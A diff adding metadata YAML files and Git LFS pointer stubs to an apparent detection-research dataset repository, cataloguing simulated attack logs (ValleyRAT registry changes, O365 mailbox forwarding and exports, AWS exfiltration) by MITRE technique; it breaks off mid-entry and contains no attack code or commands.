a/datasets/attack_techniques/T1112/valleyrat_c2_reg2/T1112_valleyrat_c2_reg2.yml b/datasets/attack_techniques/T1112/valleyrat_c2_reg2/T1112_valleyrat_c2_reg2.yml new file mode 100644 index 000000000..34e64a5df --- /dev/null +++ b/datasets/attack_techniques/T1112/valleyrat_c2_reg2/T1112_valleyrat_c2_reg2.yml @@ -0,0 +1,13 @@ +author: STRT +id: 272b5e19-ea31-45b8-bae5-5ce5c89f6223 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry ValleyRAT + C2 Config +environment: attack_range +directory: valleyrat_c2_reg2 +mitre_technique: [] +datasets: +- name: valleyrat_c2_reg2 + path: /datasets/attack_techniques/T1112/valleyrat_c2_reg2/valleyrat_c2_reg2-272b5e19-ea31-45b8-bae5-5ce5c89f6223.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/valleyrat_c2_reg2/valleyrat_c2_reg2-272b5e19-ea31-45b8-bae5-5ce5c89f6223.log b/datasets/attack_techniques/T1112/valleyrat_c2_reg2/valleyrat_c2_reg2-272b5e19-ea31-45b8-bae5-5ce5c89f6223.log new file mode 100644 index 000000000..b5205fc16 --- /dev/null +++ b/datasets/attack_techniques/T1112/valleyrat_c2_reg2/valleyrat_c2_reg2-272b5e19-ea31-45b8-bae5-5ce5c89f6223.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3b42211fac27ee8c1a19f4add50c457d3dd1bf6035db3d85aa2d8a45fce975dc +size 3297 diff --git a/datasets/attack_techniques/T1112/wer_dontshowui/T1112_wer_dontshowui.yml b/datasets/attack_techniques/T1112/wer_dontshowui/T1112_wer_dontshowui.yml new file mode 100644 index 000000000..7d31df113 --- /dev/null +++ b/datasets/attack_techniques/T1112/wer_dontshowui/T1112_wer_dontshowui.yml @@ -0,0 +1,12 @@ +author: STRT +id: 98662f6d-946c-4de3-9d6f-5158a5bf2e00 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry DontShowUI +environment: attack_range +directory: wer_dontshowui +mitre_technique: [] +datasets: +- name: dontshowui_sys + path: /datasets/attack_techniques/T1112/wer_dontshowui/dontshowui_sys-98662f6d-946c-4de3-9d6f-5158a5bf2e00.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/wer_dontshowui/dontshowui_sys-98662f6d-946c-4de3-9d6f-5158a5bf2e00.log b/datasets/attack_techniques/T1112/wer_dontshowui/dontshowui_sys-98662f6d-946c-4de3-9d6f-5158a5bf2e00.log new file mode 100644 index 000000000..4c7ba2441 --- /dev/null +++ b/datasets/attack_techniques/T1112/wer_dontshowui/dontshowui_sys-98662f6d-946c-4de3-9d6f-5158a5bf2e00.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e80d336729e1f1bdbb265d0250fc3a98f7b997950bddd66a7718fb1fdec08d76 +size 1139 diff --git a/datasets/attack_techniques/T1113/braodo_screenshot/T1113_braodo_screenshot.yml b/datasets/attack_techniques/T1113/braodo_screenshot/T1113_braodo_screenshot.yml new file mode 100644 index 000000000..719c8d922 --- /dev/null +++ b/datasets/attack_techniques/T1113/braodo_screenshot/T1113_braodo_screenshot.yml @@ -0,0 +1,13 @@ +author: STRT +id: 08a72745-1cbc-4594-9892-af8f93158968 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Screen Capture in + TEMP folder +environment: attack_range +directory: braodo_screenshot +mitre_technique: [] +datasets: +- name: braodo_screenshot + path: /datasets/attack_techniques/T1113/braodo_screenshot/braodo_screenshot-08a72745-1cbc-4594-9892-af8f93158968.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1113/braodo_screenshot/braodo_screenshot-08a72745-1cbc-4594-9892-af8f93158968.log b/datasets/attack_techniques/T1113/braodo_screenshot/braodo_screenshot-08a72745-1cbc-4594-9892-af8f93158968.log new file mode 100644 index 000000000..0ca2871a0 --- /dev/null +++ b/datasets/attack_techniques/T1113/braodo_screenshot/braodo_screenshot-08a72745-1cbc-4594-9892-af8f93158968.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c1f557f9b6d157631d4100a5a0d669aad5d27cd53a99ae74a7e7b3b2edff0eb4 +size 1064 diff --git a/datasets/attack_techniques/T1114.002/o365_compliance_content_search_exported/T1114.002_o365_compliance_content_search_exported.yml b/datasets/attack_techniques/T1114.002/o365_compliance_content_search_exported/T1114.002_o365_compliance_content_search_exported.yml new file mode 100644 index 000000000..d69a5b5c4 --- /dev/null +++ b/datasets/attack_techniques/T1114.002/o365_compliance_content_search_exported/T1114.002_o365_compliance_content_search_exported.yml @@ -0,0 +1,13 @@ +author: STRT +id: ed487c14-00a2-47e6-b129-f1b9373bf7cf +date: '2026-07-10' +description: Curated attack data generated for detection O365 Compliance Content Search + Exported +environment: attack_range +directory: o365_compliance_content_search_exported +mitre_technique: [] +datasets: +- name: o365_compliance_content_search_exported + path: /datasets/attack_techniques/T1114.002/o365_compliance_content_search_exported/o365_compliance_content_search_exported-ed487c14-00a2-47e6-b129-f1b9373bf7cf.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1114.002/o365_compliance_content_search_exported/o365_compliance_content_search_exported-ed487c14-00a2-47e6-b129-f1b9373bf7cf.log b/datasets/attack_techniques/T1114.002/o365_compliance_content_search_exported/o365_compliance_content_search_exported-ed487c14-00a2-47e6-b129-f1b9373bf7cf.log new file mode 100644 index 000000000..f2579a9ee --- /dev/null +++ b/datasets/attack_techniques/T1114.002/o365_compliance_content_search_exported/o365_compliance_content_search_exported-ed487c14-00a2-47e6-b129-f1b9373bf7cf.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6fbd30a85357f326ba7259b98eaf547b8da8c4f6b256bd0ed1eda5387254fd64 +size 1221 diff --git a/datasets/attack_techniques/T1114.002/o365_compliance_content_search_started/T1114.002_o365_compliance_content_search_started.yml b/datasets/attack_techniques/T1114.002/o365_compliance_content_search_started/T1114.002_o365_compliance_content_search_started.yml new file mode 100644 index 000000000..8e4e1bef3 --- /dev/null +++ b/datasets/attack_techniques/T1114.002/o365_compliance_content_search_started/T1114.002_o365_compliance_content_search_started.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7ba4613c-4662-4b3b-8967-ecb663d954cb +date: '2026-07-10' +description: Curated attack data generated for detection O365 Compliance Content Search + Started +environment: attack_range +directory: o365_compliance_content_search_started +mitre_technique: [] +datasets: +- name: o365_compliance_content_search_started + path: /datasets/attack_techniques/T1114.002/o365_compliance_content_search_started/o365_compliance_content_search_started-7ba4613c-4662-4b3b-8967-ecb663d954cb.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1114.002/o365_compliance_content_search_started/o365_compliance_content_search_started-7ba4613c-4662-4b3b-8967-ecb663d954cb.log b/datasets/attack_techniques/T1114.002/o365_compliance_content_search_started/o365_compliance_content_search_started-7ba4613c-4662-4b3b-8967-ecb663d954cb.log new file mode 100644 index 000000000..ae57125ac --- /dev/null +++ b/datasets/attack_techniques/T1114.002/o365_compliance_content_search_started/o365_compliance_content_search_started-7ba4613c-4662-4b3b-8967-ecb663d954cb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:af8e781528005dbfdf457b653b7580e25a26bd3c5183992fc1a11ba2596e48d1 +size 1052 diff --git a/datasets/attack_techniques/T1114.002/o365_inbox_shared_with_all_users/T1114.002_o365_inbox_shared_with_all_users.yml b/datasets/attack_techniques/T1114.002/o365_inbox_shared_with_all_users/T1114.002_o365_inbox_shared_with_all_users.yml new file mode 100644 index 000000000..10c83d093 --- /dev/null +++ b/datasets/attack_techniques/T1114.002/o365_inbox_shared_with_all_users/T1114.002_o365_inbox_shared_with_all_users.yml @@ -0,0 +1,13 @@ +author: STRT +id: 13f8ea31-eeb7-4f84-a114-0752027c3599 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Mailbox Inbox Folder + Shared with All Users +environment: attack_range +directory: o365_inbox_shared_with_all_users +mitre_technique: [] +datasets: +- name: o365_inbox_shared_with_all_users + path: /datasets/attack_techniques/T1114.002/o365_inbox_shared_with_all_users/o365_inbox_shared_with_all_users-13f8ea31-eeb7-4f84-a114-0752027c3599.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1114.002/o365_inbox_shared_with_all_users/o365_inbox_shared_with_all_users-13f8ea31-eeb7-4f84-a114-0752027c3599.log b/datasets/attack_techniques/T1114.002/o365_inbox_shared_with_all_users/o365_inbox_shared_with_all_users-13f8ea31-eeb7-4f84-a114-0752027c3599.log new file mode 100644 index 000000000..8a0c84447 --- /dev/null +++ b/datasets/attack_techniques/T1114.002/o365_inbox_shared_with_all_users/o365_inbox_shared_with_all_users-13f8ea31-eeb7-4f84-a114-0752027c3599.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6b8c0dcd08baacbd64cf84920f37693455f93027235763cb816b7a6a2e35f6eb +size 4008 diff --git a/datasets/attack_techniques/T1114.002/o365_multiple_mailboxes_accessed_via_api/T1114.002_o365_multiple_mailboxes_accessed_via_api.yml b/datasets/attack_techniques/T1114.002/o365_multiple_mailboxes_accessed_via_api/T1114.002_o365_multiple_mailboxes_accessed_via_api.yml new file mode 100644 index 000000000..c5c9a9a61 --- /dev/null +++ b/datasets/attack_techniques/T1114.002/o365_multiple_mailboxes_accessed_via_api/T1114.002_o365_multiple_mailboxes_accessed_via_api.yml @@ -0,0 +1,13 @@ +author: STRT +id: efa05143-2f8e-44ed-bddc-69581b967399 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Multiple Mailboxes Accessed + via API +environment: attack_range +directory: o365_multiple_mailboxes_accessed_via_api +mitre_technique: [] +datasets: +- name: o365_multiple_mailboxes_accessed_via_api + path: /datasets/attack_techniques/T1114.002/o365_multiple_mailboxes_accessed_via_api/o365_multiple_mailboxes_accessed_via_api-efa05143-2f8e-44ed-bddc-69581b967399.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1114.002/o365_multiple_mailboxes_accessed_via_api/o365_multiple_mailboxes_accessed_via_api-efa05143-2f8e-44ed-bddc-69581b967399.log b/datasets/attack_techniques/T1114.002/o365_multiple_mailboxes_accessed_via_api/o365_multiple_mailboxes_accessed_via_api-efa05143-2f8e-44ed-bddc-69581b967399.log new file mode 100644 index 000000000..6ccf84db9 --- /dev/null +++ b/datasets/attack_techniques/T1114.002/o365_multiple_mailboxes_accessed_via_api/o365_multiple_mailboxes_accessed_via_api-efa05143-2f8e-44ed-bddc-69581b967399.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4ea66e4ceb81f63b7069382463b2ddea4c23d14b7bf0268ef975bf261e0e9169 +size 11011 diff --git a/datasets/attack_techniques/T1114.002/o365_oauth_app_ews_mailbox_access/T1114.002_o365_oauth_app_ews_mailbox_access.yml b/datasets/attack_techniques/T1114.002/o365_oauth_app_ews_mailbox_access/T1114.002_o365_oauth_app_ews_mailbox_access.yml new file mode 100644 index 000000000..4e80756f2 --- /dev/null +++ b/datasets/attack_techniques/T1114.002/o365_oauth_app_ews_mailbox_access/T1114.002_o365_oauth_app_ews_mailbox_access.yml @@ -0,0 +1,13 @@ +author: STRT +id: 6cf2a8b2-36b7-4ae4-9804-b17439bff655 +date: '2026-07-10' +description: Curated attack data generated for detection O365 OAuth App Mailbox Access + via EWS +environment: attack_range +directory: o365_oauth_app_ews_mailbox_access +mitre_technique: [] +datasets: +- name: o365_oauth_app_ews_mailbox_access + path: /datasets/attack_techniques/T1114.002/o365_oauth_app_ews_mailbox_access/o365_oauth_app_ews_mailbox_access-6cf2a8b2-36b7-4ae4-9804-b17439bff655.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1114.002/o365_oauth_app_ews_mailbox_access/o365_oauth_app_ews_mailbox_access-6cf2a8b2-36b7-4ae4-9804-b17439bff655.log b/datasets/attack_techniques/T1114.002/o365_oauth_app_ews_mailbox_access/o365_oauth_app_ews_mailbox_access-6cf2a8b2-36b7-4ae4-9804-b17439bff655.log new file mode 100644 index 000000000..a4921f335 --- /dev/null +++ b/datasets/attack_techniques/T1114.002/o365_oauth_app_ews_mailbox_access/o365_oauth_app_ews_mailbox_access-6cf2a8b2-36b7-4ae4-9804-b17439bff655.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:23d670483274073764da5df616245aab75b4beb17c56e34299a35f7ddcf6e614 +size 5623 diff --git a/datasets/attack_techniques/T1114.002/o365_oauth_app_graph_mailbox_access/T1114.002_o365_oauth_app_graph_mailbox_access.yml b/datasets/attack_techniques/T1114.002/o365_oauth_app_graph_mailbox_access/T1114.002_o365_oauth_app_graph_mailbox_access.yml new file mode 100644 index 000000000..6c199ffb2 --- /dev/null +++ b/datasets/attack_techniques/T1114.002/o365_oauth_app_graph_mailbox_access/T1114.002_o365_oauth_app_graph_mailbox_access.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5e1d21a7-f5f9-4d5f-9b53-25bb961ac519 +date: '2026-07-10' +description: Curated attack data generated for detection O365 OAuth App Mailbox Access + via Graph API +environment: attack_range +directory: o365_oauth_app_graph_mailbox_access +mitre_technique: [] +datasets: +- name: o365_oauth_app_graph_mailbox_access + path: /datasets/attack_techniques/T1114.002/o365_oauth_app_graph_mailbox_access/o365_oauth_app_graph_mailbox_access-5e1d21a7-f5f9-4d5f-9b53-25bb961ac519.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1114.002/o365_oauth_app_graph_mailbox_access/o365_oauth_app_graph_mailbox_access-5e1d21a7-f5f9-4d5f-9b53-25bb961ac519.log b/datasets/attack_techniques/T1114.002/o365_oauth_app_graph_mailbox_access/o365_oauth_app_graph_mailbox_access-5e1d21a7-f5f9-4d5f-9b53-25bb961ac519.log new file mode 100644 index 000000000..7da9340a0 --- /dev/null +++ b/datasets/attack_techniques/T1114.002/o365_oauth_app_graph_mailbox_access/o365_oauth_app_graph_mailbox_access-5e1d21a7-f5f9-4d5f-9b53-25bb961ac519.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:69bf422d0d9a7ac73aea9ddd364b0e4fa55a1978b4aadb405f95f0f75fdb75d9 +size 3925 diff --git a/datasets/attack_techniques/T1114.002/suspicious_rights_delegation/T1114.002_suspicious_rights_delegation.yml b/datasets/attack_techniques/T1114.002/suspicious_rights_delegation/T1114.002_suspicious_rights_delegation.yml new file mode 100644 index 000000000..9b42c4624 --- /dev/null +++ b/datasets/attack_techniques/T1114.002/suspicious_rights_delegation/T1114.002_suspicious_rights_delegation.yml @@ -0,0 +1,13 @@ +author: STRT +id: 86815683-f08e-493d-a744-68aae1f12ade +date: '2026-07-10' +description: Curated attack data generated for detection O365 Elevated Mailbox Permission + Assigned +environment: attack_range +directory: suspicious_rights_delegation +mitre_technique: [] +datasets: +- name: suspicious_rights_delegation + path: /datasets/attack_techniques/T1114.002/suspicious_rights_delegation/suspicious_rights_delegation-86815683-f08e-493d-a744-68aae1f12ade.log + sourcetype: o365:management:activity + source: o365:management:activity diff --git a/datasets/attack_techniques/T1114.002/suspicious_rights_delegation/suspicious_rights_delegation-86815683-f08e-493d-a744-68aae1f12ade.log b/datasets/attack_techniques/T1114.002/suspicious_rights_delegation/suspicious_rights_delegation-86815683-f08e-493d-a744-68aae1f12ade.log new file mode 100644 index 000000000..251566924 --- /dev/null +++ b/datasets/attack_techniques/T1114.002/suspicious_rights_delegation/suspicious_rights_delegation-86815683-f08e-493d-a744-68aae1f12ade.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:454ff8af158df62f15de379addb3e012b8664275d287bc201f53f0dd6988a66b +size 3288 diff --git a/datasets/attack_techniques/T1114.003/o365_email_forwarding_rule_created/T1114.003_o365_email_forwarding_rule_created.yml b/datasets/attack_techniques/T1114.003/o365_email_forwarding_rule_created/T1114.003_o365_email_forwarding_rule_created.yml new file mode 100644 index 000000000..8e30b97e0 --- /dev/null +++ b/datasets/attack_techniques/T1114.003/o365_email_forwarding_rule_created/T1114.003_o365_email_forwarding_rule_created.yml @@ -0,0 +1,13 @@ +author: STRT +id: 6f0102b7-e096-482c-a786-c68da75f669f +date: '2026-07-10' +description: Curated attack data generated for detection O365 New Email Forwarding + Rule Created +environment: attack_range +directory: o365_email_forwarding_rule_created +mitre_technique: [] +datasets: +- name: o365_email_forwarding_rule_created + path: /datasets/attack_techniques/T1114.003/o365_email_forwarding_rule_created/o365_email_forwarding_rule_created-6f0102b7-e096-482c-a786-c68da75f669f.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1114.003/o365_email_forwarding_rule_created/o365_email_forwarding_rule_created-6f0102b7-e096-482c-a786-c68da75f669f.log b/datasets/attack_techniques/T1114.003/o365_email_forwarding_rule_created/o365_email_forwarding_rule_created-6f0102b7-e096-482c-a786-c68da75f669f.log new file mode 100644 index 000000000..e81a034fd --- /dev/null +++ b/datasets/attack_techniques/T1114.003/o365_email_forwarding_rule_created/o365_email_forwarding_rule_created-6f0102b7-e096-482c-a786-c68da75f669f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5abef3523dd99a69fb19b7311ca79c1eafe54b9bd925b308ed058a7b6b32eea9 +size 3055 diff --git a/datasets/attack_techniques/T1114.003/o365_mailbox_forwarding_enabled/T1114.003_o365_mailbox_forwarding_enabled.yml b/datasets/attack_techniques/T1114.003/o365_mailbox_forwarding_enabled/T1114.003_o365_mailbox_forwarding_enabled.yml new file mode 100644 index 000000000..a7d09ca99 --- /dev/null +++ b/datasets/attack_techniques/T1114.003/o365_mailbox_forwarding_enabled/T1114.003_o365_mailbox_forwarding_enabled.yml @@ -0,0 +1,13 @@ +author: STRT +id: 691f02a2-fa30-4cb6-b9da-4eed59391588 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Mailbox Email Forwarding + Enabled +environment: attack_range +directory: o365_mailbox_forwarding_enabled +mitre_technique: [] +datasets: +- name: o365_mailbox_forwarding_enabled + path: /datasets/attack_techniques/T1114.003/o365_mailbox_forwarding_enabled/o365_mailbox_forwarding_enabled-691f02a2-fa30-4cb6-b9da-4eed59391588.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1114.003/o365_mailbox_forwarding_enabled/o365_mailbox_forwarding_enabled-691f02a2-fa30-4cb6-b9da-4eed59391588.log b/datasets/attack_techniques/T1114.003/o365_mailbox_forwarding_enabled/o365_mailbox_forwarding_enabled-691f02a2-fa30-4cb6-b9da-4eed59391588.log new file mode 100644 index 000000000..186e0ed99 --- /dev/null +++ b/datasets/attack_techniques/T1114.003/o365_mailbox_forwarding_enabled/o365_mailbox_forwarding_enabled-691f02a2-fa30-4cb6-b9da-4eed59391588.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7068c0921916299587a75f016db94695df722ed9715c25364aeac681cac2a592 +size 58727 diff --git a/datasets/attack_techniques/T1114.003/transport_rule_change/T1114.003_transport_rule_change.yml b/datasets/attack_techniques/T1114.003/transport_rule_change/T1114.003_transport_rule_change.yml new file mode 100644 index 000000000..e96644323 --- /dev/null +++ b/datasets/attack_techniques/T1114.003/transport_rule_change/T1114.003_transport_rule_change.yml @@ -0,0 +1,13 @@ +author: STRT +id: 1bc909d8-53cb-46f5-86fe-c638b0a89508 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Email Transport Rule + Changed +environment: attack_range +directory: transport_rule_change +mitre_technique: [] +datasets: +- name: transport_rule_change + path: /datasets/attack_techniques/T1114.003/transport_rule_change/transport_rule_change-1bc909d8-53cb-46f5-86fe-c638b0a89508.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1114.003/transport_rule_change/transport_rule_change-1bc909d8-53cb-46f5-86fe-c638b0a89508.log b/datasets/attack_techniques/T1114.003/transport_rule_change/transport_rule_change-1bc909d8-53cb-46f5-86fe-c638b0a89508.log new file mode 100644 index 000000000..e506c5a46 --- /dev/null +++ b/datasets/attack_techniques/T1114.003/transport_rule_change/transport_rule_change-1bc909d8-53cb-46f5-86fe-c638b0a89508.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d89d82a6efbbfd53afa9276932c21b219f33722af687c10fcacf90bc81f6c086 +size 3113 diff --git a/datasets/attack_techniques/T1114/o365_export_pst_file/T1114_o365_export_pst_file.yml b/datasets/attack_techniques/T1114/o365_export_pst_file/T1114_o365_export_pst_file.yml new file mode 100644 index 000000000..a9622d28c --- /dev/null +++ b/datasets/attack_techniques/T1114/o365_export_pst_file/T1114_o365_export_pst_file.yml @@ -0,0 +1,12 @@ +author: STRT +id: 24add83e-8acc-446a-a828-0475798e8543 +date: '2026-07-10' +description: Curated attack data generated for detection O365 PST export alert +environment: attack_range +directory: o365_export_pst_file +mitre_technique: [] +datasets: +- name: o365_export_pst_file + path: /datasets/attack_techniques/T1114/o365_export_pst_file/o365_export_pst_file-24add83e-8acc-446a-a828-0475798e8543.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1114/o365_export_pst_file/o365_export_pst_file-24add83e-8acc-446a-a828-0475798e8543.log b/datasets/attack_techniques/T1114/o365_export_pst_file/o365_export_pst_file-24add83e-8acc-446a-a828-0475798e8543.log new file mode 100644 index 000000000..49d47e63e --- /dev/null +++ b/datasets/attack_techniques/T1114/o365_export_pst_file/o365_export_pst_file-24add83e-8acc-446a-a828-0475798e8543.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:65656a9ac335ed4a33c13c60de34e6579e07bcdd0ab712747c39ad4037b60a31 +size 19636 diff --git a/datasets/attack_techniques/T1114/o365_new_forwarding_mailflow_rule_created/T1114_o365_new_forwarding_mailflow_rule_created.yml b/datasets/attack_techniques/T1114/o365_new_forwarding_mailflow_rule_created/T1114_o365_new_forwarding_mailflow_rule_created.yml new file mode 100644 index 000000000..3a02c3802 --- /dev/null +++ b/datasets/attack_techniques/T1114/o365_new_forwarding_mailflow_rule_created/T1114_o365_new_forwarding_mailflow_rule_created.yml @@ -0,0 +1,13 @@ +author: STRT +id: 52643903-63dc-441b-b333-5f51a4219583 +date: '2026-07-10' +description: Curated attack data generated for detection O365 New Forwarding Mailflow + Rule Created +environment: attack_range +directory: o365_new_forwarding_mailflow_rule_created +mitre_technique: [] +datasets: +- name: o365_new_forwarding_mailflow_rule_created + path: /datasets/attack_techniques/T1114/o365_new_forwarding_mailflow_rule_created/o365_new_forwarding_mailflow_rule_created-52643903-63dc-441b-b333-5f51a4219583.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1114/o365_new_forwarding_mailflow_rule_created/o365_new_forwarding_mailflow_rule_created-52643903-63dc-441b-b333-5f51a4219583.log b/datasets/attack_techniques/T1114/o365_new_forwarding_mailflow_rule_created/o365_new_forwarding_mailflow_rule_created-52643903-63dc-441b-b333-5f51a4219583.log new file mode 100644 index 000000000..2a1d7b2b9 --- /dev/null +++ b/datasets/attack_techniques/T1114/o365_new_forwarding_mailflow_rule_created/o365_new_forwarding_mailflow_rule_created-52643903-63dc-441b-b333-5f51a4219583.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2c2b9ace1b296722a8f85147a8bf30ed24cffbf4ddbf8ae4f3dfd5c9030d975c +size 4724 diff --git a/datasets/attack_techniques/T1114/o365_suspect_email_actions/T1114_o365_suspect_email_actions.yml b/datasets/attack_techniques/T1114/o365_suspect_email_actions/T1114_o365_suspect_email_actions.yml new file mode 100644 index 000000000..2941f0b66 --- /dev/null +++ b/datasets/attack_techniques/T1114/o365_suspect_email_actions/T1114_o365_suspect_email_actions.yml @@ -0,0 +1,17 @@ +author: STRT +id: 5ac90014-d2ca-4eeb-bc78-5cbc44381d3f +date: '2026-07-10' +description: Curated attack data generated for detection O365 Email Hard Delete Excessive + Volume +environment: attack_range +directory: o365_suspect_email_actions +mitre_technique: [] +datasets: +- name: o365_exchange_suspect_events + path: /datasets/attack_techniques/T1114/o365_suspect_email_actions/o365_exchange_suspect_events-5ac90014-d2ca-4eeb-bc78-5cbc44381d3f.log + sourcetype: o365:management:activity + source: o365 +- name: o365_messagetrace_suspect_events + path: /datasets/attack_techniques/T1114/o365_suspect_email_actions/o365_messagetrace_suspect_events-5ac90014-d2ca-4eeb-bc78-5cbc44381d3f.log + sourcetype: o365:reporting:messagetrace + source: o365_messagetrace diff --git a/datasets/attack_techniques/T1114/o365_suspect_email_actions/o365_exchange_suspect_events-5ac90014-d2ca-4eeb-bc78-5cbc44381d3f.log b/datasets/attack_techniques/T1114/o365_suspect_email_actions/o365_exchange_suspect_events-5ac90014-d2ca-4eeb-bc78-5cbc44381d3f.log new file mode 100644 index 000000000..6d4e2f05f --- /dev/null +++ b/datasets/attack_techniques/T1114/o365_suspect_email_actions/o365_exchange_suspect_events-5ac90014-d2ca-4eeb-bc78-5cbc44381d3f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c961e9a2d811e8481516df91a3d2839410e54447701dacf78c9859b1cfb491fa +size 80587 diff --git a/datasets/attack_techniques/T1114/o365_suspect_email_actions/o365_messagetrace_suspect_events-5ac90014-d2ca-4eeb-bc78-5cbc44381d3f.log b/datasets/attack_techniques/T1114/o365_suspect_email_actions/o365_messagetrace_suspect_events-5ac90014-d2ca-4eeb-bc78-5cbc44381d3f.log new file mode 100644 index 000000000..44f620a8a --- /dev/null +++ b/datasets/attack_techniques/T1114/o365_suspect_email_actions/o365_messagetrace_suspect_events-5ac90014-d2ca-4eeb-bc78-5cbc44381d3f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:44795b5e87d1f38683b27b2b9023216dfc56b54cd6750661e2f179295c5d6e68 +size 509 diff --git a/datasets/attack_techniques/T1115/atomic_red_team/T1115_atomic_red_team.yml b/datasets/attack_techniques/T1115/atomic_red_team/T1115_atomic_red_team.yml new file mode 100644 index 000000000..81f252d17 --- /dev/null +++ b/datasets/attack_techniques/T1115/atomic_red_team/T1115_atomic_red_team.yml @@ -0,0 +1,12 @@ +author: STRT +id: c6f729ad-2aab-4f31-a814-d4b0cee1f009 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Clipboard Data Copy +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: linux-sysmon + path: /datasets/attack_techniques/T1115/atomic_red_team/linux-sysmon-c6f729ad-2aab-4f31-a814-d4b0cee1f009.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1115/atomic_red_team/linux-sysmon-c6f729ad-2aab-4f31-a814-d4b0cee1f009.log b/datasets/attack_techniques/T1115/atomic_red_team/linux-sysmon-c6f729ad-2aab-4f31-a814-d4b0cee1f009.log new file mode 100644 index 000000000..f1ff0d2ba --- /dev/null +++ b/datasets/attack_techniques/T1115/atomic_red_team/linux-sysmon-c6f729ad-2aab-4f31-a814-d4b0cee1f009.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1a1d065819bf2e9b0bab213e47892d46d2f982d0342642e9b693e1e922f33448 +size 16457 diff --git a/datasets/attack_techniques/T1119/aws_exfil_datasync/T1119_aws_exfil_datasync.yml b/datasets/attack_techniques/T1119/aws_exfil_datasync/T1119_aws_exfil_datasync.yml new file mode 100644 index 000000000..f5dabb056 --- /dev/null +++ b/datasets/attack_techniques/T1119/aws_exfil_datasync/T1119_aws_exfil_datasync.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3077d63e-9e50-4cdf-9a7a-2a0597f81a4c +date: '2026-07-10' +description: Curated attack data generated for detection AWS Exfiltration via Batch + Service +environment: attack_range +directory: aws_exfil_datasync +mitre_technique: [] +datasets: +- name: cloudtrail + path: /datasets/attack_techniques/T1119/aws_exfil_datasync/cloudtrail-3077d63e-9e50-4cdf-9a7a-2a0597f81a4c.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1119/aws_exfil_datasync/cloudtrail-3077d63e-9e50-4cdf-9a7a-2a0597f81a4c.log b/datasets/attack_techniques/T1119/aws_exfil_datasync/cloudtrail-3077d63e-9e50-4cdf-9a7a-2a0597f81a4c.log new file mode 100644 index 000000000..52bb6f620 --- /dev/null +++ b/datasets/attack_techniques/T1119/aws_exfil_datasync/cloudtrail-3077d63e-9e50-4cdf-9a7a-2a0597f81a4c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1aa3c1a0e9288d4138876e297115cb6211cdf91be8d696cfc9c4b0c9ed8c38f6 +size 4130 diff --git a/datasets/attack_techniques/T1125/salat_stealer_ffmpeg/T1125_salat_stealer_ffmpeg.yml b/datasets/attack_techniques/T1125/salat_stealer_ffmpeg/T1125_salat_stealer_ffmpeg.yml new file mode 100644 index 